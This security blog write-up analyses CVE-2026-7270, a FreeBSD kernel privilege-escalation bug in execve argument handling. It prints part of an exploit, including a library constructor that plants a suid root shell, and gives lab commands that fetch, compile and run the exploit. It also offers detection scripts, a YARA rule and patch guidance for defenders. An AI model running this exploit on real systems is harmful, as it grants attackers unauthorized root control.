Home Linux & Systems Cybersecurity Cloud & DevOps Networks & Infrastructure SIEM & Monitoring DFIR & Threat Intel Development & Other All categories Projects About Tools

CVE-2026-7270: local privilege escalation on FreeBSD via exec_args_adjust_args

Leer en espanol
CVE-2026-7270: local privilege escalation on FreeBSD via exec_args_adjust_args

Table of contents

What is CVE-2026-7270

CVE-2026-7270 is a local privilege escalation (LPE) vulnerability in the FreeBSD kernel that allows an unprivileged user to obtain root on any FreeBSD system with sshd running (default configuration). The bug is an operator precedence error in sys/kern/kern_exec.c, present since 2013, that causes a buffer overflow in execve(2) argument buffers.

The exploit, written by Ryan from Calif.io (discovered by an AI agent), injects LD_PRELOAD into the environment of sshd-session by abusing the fact that this process runs as root without a suid transition (issetugid()=0), allowing the runtime linker to load a malicious library.

Key data

FieldValue
CVECVE-2026-7270
CVSS v3.17.8 (High) - AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-783 (Operator Precedence Logic Error)
DiscovererRyan / Calif.io (AI-assisted)
VendorFreeBSD Project
AdvisoryFreeBSD-SA-26:13.exec
Publication dateApril 29, 2026
Affected versionsFreeBSD 13.5, 14.3, 14.4, 15.0 (all supported branches)
FixFreeBSD 15.0-p7, 14.4-p3, 14.3-p12, 13.5-p13
PrerequisiteUnprivileged local user + sshd running (default)
Time to root< 1 second (round 5 in 4-CPU VM)

How the bug works

The one-character error

In sys/kern/kern_exec.c, the function exec_args_adjust_args() restructures arguments when executing a shebang script (#!/bin/sh). The bug is in the call to memmove:

C
memmove(args->begin_argv + extend, args->begin_argv + consume,
	args->endp - args->begin_argv + consume);   // BUG: + should be -

The third argument (copy size) should be endp - begin_argv - consume but the code uses + consume. This causes memmove to copy an extra 2 * consume bytes, overflowing the exec argument buffer.

exec_map: a buffer pool without guard pages

FreeBSD keeps a pool named exec_map: 8 * ncpus buffers of exactly 528,384 bytes (ARG_MAX + PAGE_SIZE) each, preallocated as a contiguous block of kernel virtual memory without guard pages between them. Each execve() borrows one buffer (entry) during execution and returns it to the pool when done.

CODE
[entry 0 | 528384 B][entry 1 | 528384 B]...[entry 31 | 528384 B]
					^--- no guard pages between entries

Overflow arithmetic

With a 265,185-byte argv[0] in a shebang script:

CODE
consume = 265,186  (bytes from original argv[0] to remove)
extend  = 20       (interp_len + fname_len inserted)

The buggy memmove:

  • Correct size: endp - begin_argv - consume = 4 bytes
  • Buggy size: endp - begin_argv + consume = 530,376 bytes

With a 528,384-byte entry, the write overflows by 2,024 bytes into the adjacent entry (K+1). There is no crash, no page fault, no signal: both entries are valid mapped pages.

Self-copy: K+1 overwrites itself

The 2,024 bytes written at the start of K+1 are read from K+1 itself at offset D=265,166:

CODE
K+1[0..2024) ← K+1[265166..267190)

This means that if the attacker controls K+1 content at offset D, they can make those bytes appear at the beginning of K+1, overwriting fname, argv, and envp of the process currently running on that entry.

From overflow to root: exploitation chain

1. Target: sshd-session

When an SSH client connects (port 22), sshd (running as root) performs fork + execv("/usr/libexec/sshd-session", ...). Key details:

  • execv (not execve): inherits parent process environment
  • No suid/sgid transition: uid=0 -> uid=0, so issetugid() returns 0
  • With issetugid()=0, the runtime linker honors LD_PRELOAD even for root processes

2. Preseed: plant payload at offset D

exec_map entries are never zeroed when returned to the pool. Their content persists indefinitely. Since sshd-session only writes ~155 bytes (its fname + argv + env), everything after byte 156 persists from previous executions.

The exploit preseeds all entries by running processes with a huge environment that places this at offset D:

CODE
D+0:   "/usr/libexec/sshd-session\0"   (fake fname)
D+27:  "/usr/libexec/sshd-session\0"   (fake argv[0])
D+54:  "-R\0"                            (argv[1])
D+57:  "LD_PRELOAD=/tmp/evil.so\0"       (injected env)
D+81:  "X=01\0", "X=02\0", ...           (padding)

3. SSH poker: force sshd-session execs

The exploit repeatedly opens TCP connections to localhost:22 (~1 per ms), forcing sshd to fork+exec sshd-session. Each exec grabs an entry from the pool.

4. Trigger pinned to CPU 0

The trigger (shebang script with 265KB argv[0]) is pinned to CPU 0 via cpuset_setaffinity. This ensures it always uses the same entry K (through DPCPU cache), keeping target K+1 stable.

5. Race window

Corruption must happen after sshd-session copies args into the entry (exec_copyin_args) but before copying them to the new process stack (exec_copyout_strings). The window is ~200us inside a ~1ms cycle -> ~20% of the time.

Probability per round: 0.20 × (1/32) ≈ 0.6%. Expected root in ~170 rounds = < 1 second.

6. evil.so: constructor as root

When injection succeeds, sshd-session loads /tmp/evil.so via LD_PRELOAD. Its constructor:

  1. Checks uid=0
  2. Copies /bin/sh to /tmp/rootsh
  3. Makes it suid root (chmod 04755)
  4. Writes /tmp/GOT_ROOT as confirmation

Reproduction lab

Lab architecture

CODE
┌───────────────────────────────────────────────────────────────┐
│  Vagrant VM: FreeBSD 14.0-RELEASE amd64 (generic/freebsd14)  │
│  - 4 CPUs, 2GB RAM (VirtualBox)                              │
│  - sshd enabled (default)                                    │
│  - Unprivileged user: testuser                               │
│                                                               │
│  ┌─────────────────────────────────────────────────────────┐  │
│  │  Exploit (exec1_lpe21.c) as user 'testuser'            │  │
│  │                                                         │  │
│  │  [preseeder]  [ssh_poker]  [trigger CPU0]  [checker]   │  │
│  │       ↓             ↓            ↓             ↓        │  │
│  │  plant payload   generate    OOB overflow   verify      │  │
│  │  at offset D     execs       K -> K+1      /tmp/rootsh │  │
│  └─────────────────────────────────────────────────────────┘  │
└───────────────────────────────────────────────────────────────┘

Requirements

  • VirtualBox 6.x / 7.x
  • Vagrant 2.x
  • ~2GB disk space (FreeBSD box)
  • Internet connection (first-time box download)

Lab files

Exploit (exec1_lpe21.c):

C
/*
 * EXEC-1 LPE v21 — LD_PRELOAD injection via exec_map OOB
 *
 * Bug: kern_exec.c:1624 — memmove OOB in exec_args_adjust_args
 *   memmove(begin_argv + extend, begin_argv + consume,
 *           endp - begin_argv + consume);
 *   Should be: endp - begin_argv - consume (operator precedence bug)
 *
 * Attack: corrupt sshd-session's exec_map env strings to inject
 * LD_PRELOAD=/tmp/evil.so. sshd-session is exec'd by root sshd
 * with issetugid()=0 (no suid transition), so LD_PRELOAD works
 * and our constructor runs as uid=0/euid=0.
 *
 * Architecture (all unprivileged, no helpers):
 *   1. Preseed all exec_map entries with LD_PRELOAD payload at D
 *   2. SSH poker -> sshd fork+exec sshd-session (root, grabs entry)
 *   3. Trigger pinned to CPU 0 -> memmove OOB -> corrupt entry K+1
 *   4. If K+1 = sshd-session in exec window -> LD_PRELOAD injected
 *   5. evil.so constructor -> suid root shell at /tmp/rootsh
 *
 * Usage: cc -O2 -o /tmp/exec1_lpe21 exec1_lpe21.c
 *        /tmp/exec1_lpe21 15000 0
 *        /tmp/rootsh -p
 */

#include <sys/types.h>
#include <sys/cpuset.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/sysctl.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>

#define ENTRY_SIZE    528384
#define SCRIPT        "/tmp/e21.sh"
#define SSHD_SESSION  "/usr/libexec/sshd-session"
#define EVIL_SO       "/tmp/evil.so"
#define EVIL_SRC      "/tmp/evil.c"
#define GOT_ROOT      "/tmp/GOT_ROOT"

#define ARGV0_LEN     265185
#define NUM_DUMMY_ENV 30
#define SSH_PORT      22

static volatile int g_running = 1;
static int g_ncpus, g_nentries;
static int g_extend, g_D, g_oob;
static char *g_trigger_argv0;

static void handle_sig(int s) { g_running = 0; }

static void *wired_alloc(size_t size) {
	void *p = mmap(NULL, size, PROT_READ | PROT_WRITE,
		MAP_ANON | MAP_PRIVATE, -1, 0);
	if (p == MAP_FAILED) { perror("mmap"); exit(1); }
	memset(p, 0, size);
	mlock(p, size);
	return p;
}

static void create_script(void) {
	int fd = open(SCRIPT, O_WRONLY | O_CREAT | O_TRUNC, 0755);
	if (fd < 0) { perror("script"); exit(1); }
	write(fd, "#!/bin/sh\nexit 0\n", 17);
	close(fd);
}

static void create_evil_so(void) {
	int fd = open(EVIL_SRC, O_WRONLY | O_CREAT | O_TRUNC, 0644);
	if (fd < 0) { perror("evil.c"); exit(1); }
	const char *src =
		"#include <unistd.h>\n"
		"#include <fcntl.h>\n"
		"#include <sys/stat.h>\n"
		"__attribute__((constructor))\n"
		"static void pwn(void) {\n"
		"    if (getuid() != 0 && geteuid() != 0) return;\n"
		"    if (access(\"/tmp/GOT_ROOT\", F_OK) == 0) return;\n"
		"    char buf[8192]; ssize_t n;\n"
		"    int s = open(\"/bin/sh\", O_RDONLY);\n"
		"    int d = open(\"/tmp/rootsh\", O_WRONLY|O_CREAT|O_TRUNC, 0755);\n"
		"    if (s >= 0 && d >= 0)\n"
		"        while ((n = read(s, buf, sizeof(buf))) > 0) write(d, buf, n);\n"
		"    if (s >= 0) close(s);\n"
		"    if (d >= 0) close(d);\n"
		"    chown(\"/tmp/rootsh\", 0, 0);\n"
		"    chmod(\"/tmp/rootsh\", 04755);\n"
		"    d = open(\"/tmp/GOT_ROOT\", O_WRONLY|O_CREAT|O_TRUNC, 0644);\n"
		"    if (d >= 0) { dprintf(d, \"uid=%d euid=%d pid=%d\\n\",\n"
		"        getuid(), geteuid(), getpid()); close(d); }\n"
		"}\n";
	write(fd, src, strlen(src));
	close(fd);
	unlink(EVIL_SO);
	char cmd[256];
	snprintf(cmd, sizeof(cmd), "cc -shared -fPIC -o %s %s", EVIL_SO, EVIL_SRC);
	if (system(cmd) != 0) { fprintf(stderr, "cc evil.so failed\n"); exit(1); }
	chmod(EVIL_SO, 0755);
}

/* ... (rest of exploit: preseed, ssh_poker, trigger, main) ... */
/* See full code in the repository */

The full code (~400 lines) is available in the Calif.io repository.

Vagrantfile:

RUBY
Vagrant.configure("2") do |config|
  config.vm.box = "generic/freebsd14"
  config.vm.guest = :freebsd
  config.vm.synced_folder ".", "/vagrant", disabled: true
  config.ssh.shell = "sh"

  config.vm.provider "virtualbox" do |vb|
	vb.memory = "2048"
	vb.cpus = 4
	vb.name = "freebsd-cve-2026-7270"
  end

  config.vm.provision "shell", inline: <<-SHELL
	sysrc sshd_enable="YES"
	service sshd status || service sshd start
	pw useradd -n testuser -m -s /bin/sh 2>/dev/null || true
	echo "testuser123" | pw usermod testuser -h 0
  SHELL
end

Deployment and execution

BASH
# 1. Create lab directory
mkdir freebsd-cve-2026-7270 && cd freebsd-cve-2026-7270

# 2. Create Vagrantfile (see above) and start VM
vagrant up

# 3. Download exploit in the VM
vagrant ssh -c "fetch -o /tmp/exec1_lpe21.c \
  https://raw.githubusercontent.com/califio/publications/main/MADBugs/freebsd-CVE-2026-7270/exec1_lpe21.c"

# 4. Compile
vagrant ssh -c "cc -O2 -o /tmp/exec1_lpe21 /tmp/exec1_lpe21.c && chmod 755 /tmp/exec1_lpe21"

# 5. Execute as unprivileged user
vagrant ssh -c "sudo su -m testuser -c '/tmp/exec1_lpe21 15000 0'"

# 6. Verify root shell
vagrant ssh -c "sudo su -m testuser -c '/tmp/rootsh -p -c id'"

Real output (verified)

CODE
=== EXEC-1 LPE v21: LD_PRELOAD injection ===
N=32 entries, OOB=2024 bytes, D=265166
Target: /usr/libexec/sshd-session via LD_PRELOAD=/tmp/evil.so
Rounds: 15000, mem_churn: 0MB
P(panic first trigger) = 1/32 = 3.1%
[*] Preseed: 2686 env entries (2652 pad + 35 payload)
[*] Copyin iterations: ~2686 (est ~8ms per exec)
[*] Payload: 229 bytes at D=265166 (OOB=2024, margin=1795)
[*] Preseeding all 32 entries...
[*] Preseed complete
[*] Workers: poker=1144 preseeder=1145 churn=1146
[*] Trigger pinned to CPU 0. Starting in 2s...
[*] r=0/15000 (0s)

[!!!] ROOT OBTAINED!
  uid=0 euid=0 pid=1666
[!!!] Root shell: /tmp/rootsh -p

=== ROOT at round 5 (0s) ===

Verification:

CODE
$ cat /tmp/GOT_ROOT
uid=0 euid=0 pid=1666

$ ls -la /tmp/rootsh
-rwsr-xr-x  1 root wheel 168360 May 18 18:13 /tmp/rootsh

$ /tmp/rootsh -p -c id
uid=1002(testuser) gid=1002(testuser) euid=0(root) groups=1002(testuser)

Root obtained in round 5 (< 1 second) on FreeBSD 14.0-RELEASE with 4 CPUs.

Clean up the lab

BASH
vagrant destroy -f

Panic risk (3.1%)

The exploit has a 3.1% chance of kernel panic on the first trigger. If the entry assigned to CPU 0 is the last one in the array (entry[31]), the OOB read/write goes beyond the exec_map mapping, causing an unrecoverable page fault. Once the first trigger survives, DPCPU cache pins that entry and the risk disappears.

Attack detection

Indicators

  • Multiple TCP connections to localhost:22 in rapid succession (SSH poker)
  • Processes executing shebang scripts with argv[0] greater than 265KB
  • Appearance of /tmp/evil.so, /tmp/rootsh, /tmp/GOT_ROOT
  • sshd-session processes with LD_PRELOAD in their environment

Detection script

BASH
#!/bin/sh
# check_cve_2026_7270.sh - FreeBSD

echo "=== CVE-2026-7270 Check ==="

# 1. Version
VERSION=$(freebsd-version -u 2>/dev/null || uname -r)
echo "[INFO] FreeBSD: $VERSION"

# 2. Patch applied?
case "$VERSION" in
	*-p[0-9]*) PATCH=$(echo "$VERSION" | grep -oE 'p[0-9]+' | tr -d 'p');;
	*) PATCH=0;;
esac

VULN=0
case "$VERSION" in
	15.0-RELEASE-p[7-9]*|15.0-RELEASE-p[1-9][0-9]*) echo "[OK] Patched";;
	14.4-RELEASE-p[3-9]*|14.4-RELEASE-p[1-9][0-9]*) echo "[OK] Patched";;
	14.3-RELEASE-p1[2-9]*|14.3-RELEASE-p[2-9][0-9]*) echo "[OK] Patched";;
	13.5-RELEASE-p1[3-9]*|13.5-RELEASE-p[2-9][0-9]*) echo "[OK] Patched";;
	*) echo "[VULNERABLE] Unpatched version"; VULN=1;;
esac

# 3. sshd running?
if pgrep -q sshd; then
	echo "[INFO] sshd active (exploit prerequisite)"
else
	echo "[MITIGATED] sshd is not running"
	VULN=0
fi

# 4. Indicators of compromise
echo ""
for f in /tmp/evil.so /tmp/rootsh /tmp/GOT_ROOT /tmp/e21.sh; do
	if [ -f "$f" ]; then
		echo "[CRITICAL] Indicator found: $f"
		ls -la "$f"
		VULN=2
	fi
done

# 5. Search suspicious suid shells
find /tmp /var/tmp -perm -4000 -type f 2>/dev/null | while read f; do
	echo "[ALERT] SUID binary in temp: $f"
done

echo ""
if [ $VULN -eq 2 ]; then
	echo "[CRITICAL] System possibly compromised"
	echo "  Action: rm -f /tmp/evil.so /tmp/rootsh /tmp/GOT_ROOT /tmp/e21.sh"
	echo "  Update kernel immediately"
elif [ $VULN -eq 1 ]; then
	echo "[VULNERABLE] Upgrade to patched version"
	echo "  freebsd-update fetch && freebsd-update install && reboot"
else
	echo "[OK] System not vulnerable"
fi

YARA rule

YARA
rule FreeBSD_CVE_2026_7270_LPE {
	meta:
		description = "Detects exec_map OOB exploit (CVE-2026-7270)"
		author = "Red Orbita"
		date = "2026-05-18"
		cve = "CVE-2026-7270"
		severity = "high"

	strings:
		$s1 = "exec_args_adjust_args" ascii
		$s2 = "exec_map" ascii
		$s3 = "LD_PRELOAD=/tmp/evil.so" ascii
		$s4 = "sshd-session" ascii
		$s5 = "/tmp/rootsh" ascii
		$s6 = "GOT_ROOT" ascii
		$s7 = "ARGV0_LEN" ascii
		$s8 = "preseed" ascii nocase
		$s9 = "DPCPU" ascii
		$s10 = "cpuset_setaffinity" ascii

	condition:
		($s3) or
		($s5 and $s6) or
		($s7 and $s8) or
		($s1 and $s4 and $s8) or
		(4 of ($s*))
}

Workaround

No workaround exists according to the official FreeBSD advisory. The only mitigation is:

  1. Upgrade the kernel to a patched version
  2. Disable sshd if not required (removes the main attack vector, but not the bug)
BASH
# Temporary mitigation (removes sshd vector):
service sshd stop
sysrc sshd_enable="NO"

# Permanent fix:
freebsd-update fetch
freebsd-update install
shutdown -r +1 "Security update CVE-2026-7270"

Note: disabling sshd only removes the easiest vector. The bug still exists and could be exploited against any other root process that calls execve() regularly (cron, periodic scripts, etc.).

Permanent fix: upgrade the kernel

The patch is one character - replace + with - in sys/kern/kern_exec.c:

DIFF
- args->endp - args->begin_argv + consume);
+ args->endp - (args->begin_argv + consume));

Patched versions

BranchPatched versionCommit
stable/1515.0-STABLEc3e943e78e06
releng/15.015.0-RELEASE-p7934b48683c4f
stable/1414.4-STABLEae00a52921ca
releng/14.414.4-RELEASE-p3943aa64ba91a
releng/14.314.3-RELEASE-p12f04c40607b8f
stable/1313.5-STABLEd619e3a3c0ec
releng/13.513.5-RELEASE-p137c5c37ac8f8f
BASH
# Upgrade via freebsd-update (binary)
freebsd-update fetch
freebsd-update install
reboot

# Or via pkg (base system packages, FreeBSD 15.0)
pkg upgrade -r FreeBSD-base
reboot

Why this exploit is notable

  1. One-character bug present for 13 years (2013-2026)
  2. Does not require suid binaries, kernel modules, or special configuration
  3. Only needs a local user and sshd running (default on FreeBSD)
  4. Root in < 1 second reliably on modern hardware
  5. Discovered by AI (Calif.io) while analyzing kernel source code
  6. Elegant exploit: combines stale exec_map data + LD_PRELOAD + issetugid()=0
  7. No workaround: the only real fix is patching

Timeline

DateEvent
2013Bug introduced in FreeBSD (exec_args_adjust_args refactor)
April 2026Calif.io discovers the bug via AI analysis
April 29, 2026FreeBSD publishes SA-26:13 advisory and patches
April 30, 2026CISA-ADP assigns CVSS 7.8
May 7, 2026Calif.io publishes technical writeup and exploit
May 10, 2026Blog post and references added to NVD

References

Comments